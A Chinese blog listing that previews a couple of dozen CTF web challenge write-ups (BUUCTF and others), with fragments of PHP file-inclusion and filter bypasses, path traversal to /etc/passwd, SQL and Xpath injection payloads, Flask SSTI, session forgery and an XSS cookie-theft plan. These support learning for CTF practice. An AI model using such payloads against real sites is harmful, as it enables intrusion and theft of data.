- 博客(131)
- 收藏
- 关注
原创 BUUCTF--[WMCTF2020]Make PHP Great Again 2.0
进入页面给出代码<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}这里有个require_once()函数需要了解一下,如果require_once包含过一次flag.php再次出现则不会执行发现require文件时,在对软链接的操作上存在一些缺陷,似乎并不会进行多次解析获取真实路径。/proc/sel..
2021-08-18 23:26:10
730
原创 BUUCTF--[羊城杯 2020]Easyphp2
进入后的页面根据题目提示我们可以知道这是一道PHP代码审计的题所以使用伪协议查看源代码,这里使用的是两次url编码绕过/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php<!DOCTYPE html><
2021-08-18 20:28:25
1406
原创 BUUCTF--[BSidesCF 2019]Sequel
进入后是一个登录页面爆破之后的到帐号和密码都是guest这里有个很隐晦的提示,Maybe the admin likes it too?查看Cookie,使用base64解密接下来使用cookie注入,使用大佬的脚本import requestsimport base64import stringimport sysout = ""while True: for letter in string.printable: tmp = out + lette.
2021-08-16 17:08:58
680
原创 BUUCTF--[PwnThyBytes 2019]Baby_SQL
进入页面查看网页源代码可以发现是source.zip泄露接下来分析源码查看index.php中的代码,发现这里对所有的参数都用filter函数进行了过滤//index.php<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET.
2021-08-16 11:45:39
1206
原创 BUUCTF--[HarekazeCTF2019]Sqlite Voting
进入后是一个投票界面查看给出的源码, 在 vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag 表.//vote.phpif (!isset($_POST['id']) || empty($_POST['id'])) { die(json_encode(['error' => 'You must specify vote id']));}$id = $_POST['id'];if (!is_valid($id)) { .
2021-08-16 11:44:36
590
原创 BUUCTF--EasyBypass
题目给出代码 <?phphighlight_file(__FILE__);$comm1 = $_GET['comm1'];$comm2 = $_GET['comm2'];if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
2021-08-15 11:01:29
1000
原创 BUUCTF--[PASECA2019]honey_shop
与大多数题相似,这里给出的金额无法是我们购买到flag这类一般都与session有关,这里的session看着很眼熟,使用jwt解密balance对应着我们的余额,很明显这里是伪造session,修改余额,所以需要SECRET_KEY的值根据提示*click to download our sweet images*,我们下载第一张图片修改其image的值为:/download?image=../../../../../../../etc/passwd尝试访问Pytho...
2021-08-14 19:13:18
674
原创 BUUCTF--[FBCTF2019]Event
进入页面,注册登录访问flag查看Cookie,这里很容易就猜到是要伪造Cookie这里有三个参数,上传内容并用Burp抓包可以发现三个参数所对应的变量名.看大佬的wp知道在event_important参数存在模版注入,输入__dict__,发现成功回显接着查找配置文件:__class__.__init__.__globals__[app].config发现加密所需的密钥,伪造sessionfrom flask import Flaskfrom flask.sessio...
2021-08-14 11:19:26
268
原创 BUUCTF--[HITCON 2016]Leaking
进入页面后给出代码"use strict";var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs");var app = express();var flag = require("./config.js").flagapp.get("/", function(req, res).
2021-08-13 10:38:29
314
原创 BUUCTF--[watevrCTF-2019]Supercalc
打开页面后发现其功能是进行计算使用jwt解析可以发现我们所提交的内容在session中通过1/0进行报错,用#注释来进行绕过,执行命令可以得到加密session时所需的key根据上面的测试我们可以知道这里是一个Flask_SSTI,所以使用flask-session-cookie加密脚本使用ls命令查看当前目录下的所有文件python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f09078..
2021-08-12 18:44:36
482
原创 BUUCTF--[pasecactf_2019]flask_ssti
根据题目我们可以知道这是一道Flask SSTI的题。 打开后允许我们输入东西,会返回用奇怪字符包裹的昵称。我们试一下{{2*2}},然后返回4。这里存在这SSTI。这里过滤了很多东西,就不在一一测试,使用十六进制进行绕过.#转16进制py脚本code = "/proc/self/fd/1"ssti = ""length = len(code)for i in range(length): ssti += "\\x" + hex(ord(code[i]))[2:]print(
2021-08-12 11:38:45
630
原创 BUUCTF--[极客大挑战 2020]Greatphp
进入页面后可以看到给出的代码<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($th
2021-08-11 18:39:28
1310
1
原创 BUUCTF--virink_2019_files_share
打开后的页面抓包,这里可以看到有一个uploads文件夹和一个flag提示访问/uploads/文件夹通过抓包可以发现当单击Preview文件时访问方式是/preview?f=favicon.ico由于是使用OpenResty,尝试包含nginx的配置文件,默认是/etc/nginx/conf.d/default.conf尝试访问后发现过滤了../,所以使用双写绕过/preview?f=....//....//....//....//....//....//....//e...
2021-08-11 18:18:56
374
原创 BUUCTF--[WMCTF2020]Make PHP Great Again
进入页面后给出一段代码<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}这里有一个require_once函数之前没有见过 require_once语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。 equire_once() 为了避免重复加载..
2021-08-11 11:10:15
1420
原创 BUUCTF--[CSAWQual 2016]i_got_id
进入页面后有三个链接,FIles中是一个文件上传perl编写的网页文件,大佬们都是猜出后端代码的,这里就直接看本题的代码if ($cgi->upload('file')) { my $file = $cgi->param('file'); while (<$file>) { print "$_"; print "<br />"; }}param()函数会返回一个列表的文件但是只有第一个文件会被放..
2021-08-10 22:50:34
288
原创 BUUCTF--[RootersCTF2019]ImgXweb
进入页面后使用admin注册显示已经存在,那就随便使用一个用户名注册并登录后看到是一个文件上传尝试.htaccess和.php都没有什么结果将session用jwt解密得到发现了我们的用户名储存在了sesion中,回想起我们注册时的提示admin已经存在,可以尝试伪造用户admin使用目录扫描可以扫到一个robots文件访问robots给出的文件目录,猜测这里是加密所需的密钥再次使用jwt进行加密将加密后的session替换掉原来的session,可以看到f...
2021-08-09 12:52:41
261
原创 BUUCTF--[watevrCTF-2019]Pickle Store
一般看到商店需要购买flag的直接就会想到session和cookie我们先将session的值来接
2021-08-08 19:40:58
487
原创 BUUCTF--[SWPU2019]Web3
进入后是一个登录页面,本以为要秀一番操作,这里直接随便输入即可登录进去登录进去后只有一个upload按钮,点击后给出提示Permission denied!,这里猜测是要伪造Session找到session,将session的值进行分析 使用大佬的脚本可以解这个session#!/usr/bin/env python3import sysimport zlibfrom base64 import b64decodefrom flask.sessions import sess.
2021-08-07 22:37:21
395
原创 BUUCTF--[HarekazeCTF2019]Easy Notes
<section> <h2>Get flag</h2> <p> <?php if (is_admin()) { echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>"; } else { echo "You are not an admin :("; } ?>.
2021-08-07 16:07:50
502
原创 DASCTF July X CBCTF 4th--ezrce
YAPI Mock远程代码执行漏洞YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。添加一个项目后,这里是最关键的const sandbox = thisconst
2021-08-05 11:58:01
336
原创 2021DASCTF July X CBCTF--cat flag
很难受啊,比赛的时候根据提示猜到flag的文件名肯定在日志文件中,但不知道日志文件在哪里...进去后直接给出一段php代码<?phpif (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match('/flag/i',$cmd)) { $cmd = escapeshellarg($cmd); system('cat ' . $cmd); }} else { .
2021-08-02 10:53:08
484
原创 七月刷题总结
本月在BUUCTF平台共刷400解以下题40道,通过刷题学到了很多知识和思路,以下将会把在每道题中学到的知识列举出来,也方便之后的复习。BUUCTF--BUU UPLOAD COURSE 1文件上传,通过测试是一个文件包含漏洞,即使后缀名被更改,php代码依然可以被执行。BUUCTF--[watevrCTF-2019]Cookie StoreCookie中包含着我们的信息,更改Cookie中的金额即可。这里可以做一个小结:一般需要我们购买但钱又不够的情况下,考点基本上就在于怎么来找到包含金.
2021-07-30 18:26:27
615
原创 BUUCTF--[BJDCTF2020]EzPHP
在页面的源代码中我们可以发现一个BASE32码,解码后得到1nD3x.php可以得到源代码 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B&g..
2021-07-30 16:18:04
531
原创 BUUCTF--October 2019 Twice SQL Injection
根据题目可以知道这是一个二次注入题注册时把我们sql语句放到username处,登录后即可看到我们想要的信息payload为:username =1' union select database() #username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #username =1' union select gr
2021-07-30 11:56:38
1208
原创 BUUCTF--[NESTCTF 2019]Love Math 2
打开页面给出下面的PHP代码<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist .
2021-07-30 11:06:30
825
原创 BUUCTF--[BSidesCF 2019]Pick Tac Toe
打开页面后是和机器人玩游戏,怎么都赢不了,试试别的办法通过查看网页源代码我们可以发现每个小图标都对应着一个id,将我们的ul,c,bl连成一条线即可
2021-07-30 10:23:32
238
原创 BUUCTF--[极客大挑战 2020]Roamphp1-Welcome
进入页面后一片空白,查看源码也啥也没有,蒙蔽中...看大佬wp说有提示,直接改为post请求即可查看到一段代码根据源码中的提示,如果我们想要获取更多的信息就要使下面的语句成立if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){若想成立非常简单,因为sha1函数无法处理数组,所以令两个变量都为数组则得出的结果为false===false值为..
2021-07-29 21:34:59
401
原创 BUUCTF--[RootersCTF2019]babyWeb
进入页面发现有个搜索框,尝试SQL注入测试,闭合时并没有反映,测试一下过滤的内容SQL查询,过滤了:union、sleep、'、"、or、-、benchmark利用order by探测有2个字段 尝试利用万能密钥登录: 1 || 1=1 limit 0,1limit在这里的作用是显示第一行内容...
2021-07-29 11:46:15
361
原创 BUUCTF--[网鼎杯 2020 半决赛]AliceWebsite
进入页面后单击几个选项并没有什么反映,审查给出的源码在index.php文件中发现这样一段代码<?php $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php'); if (file_exists($action)) { include $action; } else { echo "File not found!";.
2021-07-29 10:45:16
1438
原创 BUUCTF--[NPUCTF2020]ezlogin
进入页面后是一个登录页面几番尝试后没啥发现,尝试抓包判断是一个Xpath数据,这里需要使用xpath注入先学习一下Xpath注入这里使用大佬的脚本进行探测import requestsimport reimport timesession = requests.session()url = "http://391bfefa-8949-4535-8129-07c86723c6b9.node4.buuoj.cn"chars = "ABCDEFGHIJKLMNOPQRST..
2021-07-28 23:48:33
624
原创 BUUCTF--[FireshellCTF2020]Caas
考点:#include ''预处理编译报错 文件包含使用 # include "/flag" ,使flag可以在错误提示中出现
2021-07-28 20:06:43
298
原创 BUUCTF--[SUCTF 2018]annonymous
进入页面后给出一段代码 <?php$MY = create_function("","die(`cat flag.php`);");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}");if(isset($_GET['func_name'])){ $_GET["func_name"](
2021-07-28 17:00:33
339
原创 BUUCTF--[SUCTF 2018]MultiSQL
进入之后是这样的页面,我们先来注册一个帐号查看用户信息 在?id=后存在一个sql盲注,我们来尝试一下?id=2^(if(ascii(mid(user(),1,1))>0,0,1))判断存在注入,2异或0还是为2经过fuzz测试后发现这里过滤了union,select ,&,|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句select '<?php eval($_POST[.
2021-07-28 12:08:04
457
原创 BUUCTF--[N1CTF 2018]eating_cms
利用伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header("Location: index.php");}if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_adm.
2021-07-26 19:34:58
375
原创 BUUCTF--[GWCTF 2019]mypassword
<!-- if(is_array($feedback)){ echo "<script>alert('反馈不合法');</script>"; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onlo...
2021-07-26 09:52:38
775
原创 BUUCTF--[CISCN2019 华东北赛区]Web2
进入之后我们看到的是一个blog页面, 随便注册一个账号进入通过扫描目录发现admin.php,访问后给出以下提示所以这里我们需要一个admin的cookie再来看各个页面的作用投稿:我们输入一段内容,然后会给出显示我们文章内容的链接,这里存在着存储型xss漏洞 反馈:通过提示我们可以知道我们提交反馈的链接admin用户会去访问,所以我们可以通过这里来获取的admin的cookie大致流程:投稿处提交我们的xss代码--获取代码所在的链接--反馈给admin--获取cookie.
2021-07-25 16:31:11
531
原创 BUUCTF--[Black Watch 入群题]Web
登录时使用burp suite抓包发现是以json传入的数据进去之后我们发现单击这三个热点分别会有以下三种响应因为id=1,所以这里是一个整形注入这里使用的异或盲注
2021-07-24 17:49:43
1158
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅